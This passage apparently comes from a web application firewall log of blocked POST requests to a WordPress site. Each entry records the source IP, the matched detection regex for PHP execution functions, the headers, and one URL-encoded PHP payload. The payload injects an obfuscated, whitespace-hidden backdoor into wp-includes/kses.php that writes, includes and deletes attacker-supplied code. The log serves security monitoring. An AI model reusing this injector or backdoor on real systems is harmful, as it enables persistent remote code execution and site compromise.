0=71\nsec-fetch-mode:navigate\n\nmI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:45:13","46.62.254.35","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> NQ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4806\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGyRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\n\nNQ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:45:21","103.143.207.18","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ug:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqJpvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4806\n\nug=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 21:45:45","150.241.245.183","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/kses.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%2529%2529%257B%2520%2524component%2520%253D%2520%2524_REQUEST%255B%2522%255Cx66acto%255Cx72%2522%255D%253B%2520%2524component%2520%253D%2520explode%2528%2520%2527.%2527%2520%252C%2520%2524component%2529%2520%253B%2520%2524marker%2520%253D%2527%2527%253B%2520%2524salt7%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524lenS%2520%253Dstrlen%2528%2524salt7%2520%2529%253B%2520%2524n%2520%253D0%253B%2520array_walk%2528%2524component%2520%252C%2520function%2520%2528%2524v4%2529%2520use%2520%2528%2526%2524marker%2520%252C%2520%2526%2524n%2520%252C%2520%2524salt7%2520%252C%2520%2524lenS%2529%2520%257B%2520%2524chS%2520%253Dord%2528%2524salt7%255B%2524n%2525%2524lenS%255D%2520%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v4%2520-%2520%2524chS%2520-%2520%2528%2524n%252510%2529%2529%2520%255E%252021%253B%2520%2524marker%2520.%253D%2520chr%2528%2524dec%2520%2529%253B%2520%2524n%252B%252B%253B%257D%2520%2529%253B%2520%2524ref%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524hld%2520%253D%25200%253B%2520do%2520%257B%2520%2524resource%2520%253D%2520%2524ref%255B%2524hld%255D%2520%253F%253F%2520null%253B%2520if%2520%2528%2524hld%2520%253E%253D%2520count%2528%2524ref%2529%2529%2520break%253B%2520if%2520%2528is_dir%2528%2524resource%2529%2520%2526%2526%2520is_writable%2528%2524resource%2529%2529%2520%257B%2520%2524item%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524resource%252C%2520%2522.ent%2522%255D%2529%253B%2520%2524success%2520%253D%2520file_put_contents%2528%2524item%252C%2520%2524marker%2529%253B%2520if%2520%2528%2524success%2529%2520%257B%2520include%2520%2524item%253B%2520%2540unlink%2528%2524item%2529%253B%2520die%2528%2529%253B%257D%2520%257D%2520%2524hld%252B%252B%253B%2520%257D%2520while%2520%2528true%2529%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nsec-fetch-site:none\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-user:?1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4806\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\nsec-ch-ua:\" 